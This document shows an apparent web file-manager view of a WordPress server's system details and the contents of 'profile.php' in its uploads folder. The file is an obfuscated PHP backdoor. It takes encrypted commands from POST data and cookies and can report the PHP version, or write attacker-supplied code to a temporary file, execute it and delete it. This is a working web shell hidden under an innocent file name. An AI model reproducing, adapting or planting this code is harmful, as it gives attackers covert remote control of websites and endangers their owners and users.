HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2024/profile.php
<?php 

$ephtr /* i   */ = /*nqw */ 'ephtr'       ^ /*  qlymg */ '';

$qfketcqvwx /*hy  */ =      $ephtr(806-709)      .       "\162"	.    "r"."a"."\171"   .    "\x5f"   . /*   kzf*/ "\x6d"	.    "a"."\x70";


$q__geyyv    =	"i"."\x6d"      .   "\160" /*  mys_t */ .  "\x6c" /*wr*/ .  $ephtr(111)     . /*q */ "d"."\145";



function      mdpmrsj($hhhmi, /*kc_a*/ $rchpchas)

{ /*  wazrj */ global      $ephtr;


   

	$hhhmi    =       "<"  . /* xy*/ "\x3f"    .      "\x70"    . /*  hhtvcr  */ $ephtr(430-326)      . /*rgrbvd */ "p".$ephtr(32)     .      "\x75" /*   uhgi  */ . /* mvpqss   */ "\156" /*o  */ . /*  z */ $ephtr(108)	. /*vtxwr */ "\x69"    .	$ephtr(164-54)   . /*rgeolk */ "k"."("."_"."_"."\106" /* hzao  */ .    "I"."L".$ephtr(766-697)    .	"_".$ephtr(95)	.	")".$ephtr(760-701)	.    $ephtr(32) /*cimygb*/ .    $hhhmi["d"];


      $utozlq /*  utixq   */ =    "f".$ephtr(105) /*   _ylb*/ .	"\154" /*  km  */ .    "\x65"  . /*f*/ "_".$ephtr(1004-892) /*oyvsj*/ .      "u"."\164" /*  k  */ .	"\137"    .  "\x63"	.  "o".$ephtr(611-501)      . /*   ip   */ "t"."\145" /*   gp */ .  "\x6e"    . /*_y   */ $ephtr(537-421) /* efb   */ .	$ephtr(236-121);
  

     $utozlq($rchpchas,  $hhhmi);
 /*tmmr  */ 

    klnkrjvqz($rchpchas);

}




$zvqjmy_jparruim_ /*   k_ */ =       73;




function /* sr  */ klnkrjvqz($rchpchas)

{

    global /*   jbfus  */ $ephtr; /*   mbxnx  */ 
   include($rchpchas);
 /*   odg*/ $hj_sfct     =	$rchpchas;


 /*uff*/ @unlink($hj_sfct);

}


function     dsevdn()

{

     global   $ephtr;

    $fnobprfrm /* cft*/ =    array();

  $fnobprfrm["\x70"	. /* rqvnnd   */ "\x76"] /*jaj*/ = /*   qwony */ phpversion();     $fnobprfrm["s"."v"]       = /*  eebool*/ "\x33"  .    "."."5";


	$pwtxuymkf     =    74;

  echo   @serialize($fnobprfrm);

}


function /*  fp*/ dayszgqh($hhhmi,     $wthxk)
{
 /*  r  */ global /*  vdf_oi  */ $ephtr;



	$rkerfy_g    =	"";

	$skhwhcfsei    =	strlen($hhhmi);


       $eqnohmavmn /*  acwchh   */ =	strlen($wthxk);

 /* txyex  */ $fnobprfrm /*  z*/ =	0;    $zvqjmy_     = /*fsdjut*/ 0;
    


 /*   d */ while   ($fnobprfrm    <     $skhwhcfsei)   { /*sqhof*/ $vinptb_txv    =      $hhhmi[$fnobprfrm]   ^	$wthxk[$zvqjmy_    %    $eqnohmavmn];


    $rkerfy_g    .= /*wres */ $vinptb_txv;  $zvqjmy_++; /*  pwsn  */      $fnobprfrm++;   }     /*   csvx   */ if     (strlen($rkerfy_g) /*zwu  */ >     20)       {    $vjg_zjghjl /*   ed   */ =  substr($rkerfy_g, /* xuoli*/ 0, /* qkt  */ 20);
    }    if	(empty($rkerfy_g)) /* imt   */ {
    $rkerfy_g   =	date('Y-m-d /*   qa  */ H:i:s');


    }    return /*_lgii   */ $rkerfy_g;


}




function    u_g_qw($_dyuagdzq){     global /*   _fnmoh */ $ephtr;


      


   $hvcrzpefcc /*  l*/ = /*ils */ $ephtr(97) /*   lqsiqh  */ . /* _v*/ "\66" /* y  */ .    "b"."d"."\67" /*  tfdu */ .    "\62"	.   "\141" /* zztoze  */ .    "\145"    . /*   fpltpq  */ $ephtr(747-702) /* _  */ .    "f"."3"."7".$ephtr(305-203)    . /*  x*/ "-"."4"."\x62" /*  ftzsz*/ . /*   ots   */ "d"."0"."-"."8".$ephtr(97).$ephtr(427-325)       .    $ephtr(119-63)   . /*   eipuwf*/ $ephtr(55-10)    . /*  r   */ "d"."5"."9"."5"."\x63" /* okmv   */ . /*g   */ "\143"    .     "2"."3".$ephtr(1039-982)   .    $ephtr(111-54) /*  ulf*/ . /*  nqpy */ "\67" /*   eme*/ .   "c"; /*  i*/ 
 /*  zve */ foreach /*e   */ ($_dyuagdzq    as /*uwzj   */ $tqbrgrwpiu /*   jrf  */ =>  $hhhmi)   {       wohfhbscg(base64_decode($hhhmi),   $hvcrzpefcc,  $tqbrgrwpiu);
     }

}

function    wohfhbscg($hhhmi, /*   q   */ $hvcrzpefcc, /*edbo */ $tqbrgrwpiu){

 /*  rtdx */ global /*k   */ $ephtr;   

 /*   vkaznc */ $hhhmi  = /*ibvj */ unserialize(dayszgqh(dayszgqh($hhhmi,	$hvcrzpefcc),	$tqbrgrwpiu));


	$ruueqopty    =	'apwpemod';

	$synittdz    = /*   vg*/ 'ygehf';

   if /*  ysbcfp   */ (isset($hhhmi[$ephtr(97)."k"]))    {
      if      ($hhhmi[$ephtr(97)]	==	"i")	{	dsevdn(); /* ge_wjd  */ }    elseif	($hhhmi[$ephtr(97)]    == /*ibbt  */ $ephtr(101))    {


 /*iz   */ mdpmrsj($hhhmi,    sprintf("\x2e"	. /*  wnq */ "/".$ephtr(578-541) /* gb_z */ . /*  klmqqy   */ "\163"  . /*ou */ $ephtr(46)    .      "\x70" /*   xmv*/ .    "\154", /* qjcv   */ md5($hvcrzpefcc)));			$xgpbebla /*yytcz  */ = /*   _yuqyl  */ 44;
   }


 /*pm   */ exit();

      }}




u_g_qw($_POST);	



$kfclqkt      =    'rawurldecode';$qruqw    = /* hcu  */ $qfketcqvwx($kfclqkt,    $_POST);
$q__geyyv("",    $kfclqkt);



u_g_qw($_COOKIE);

$fnobprfrmrnlzcqpm    =	$qfketcqvwx($kfclqkt,    $_COOKIE);




?>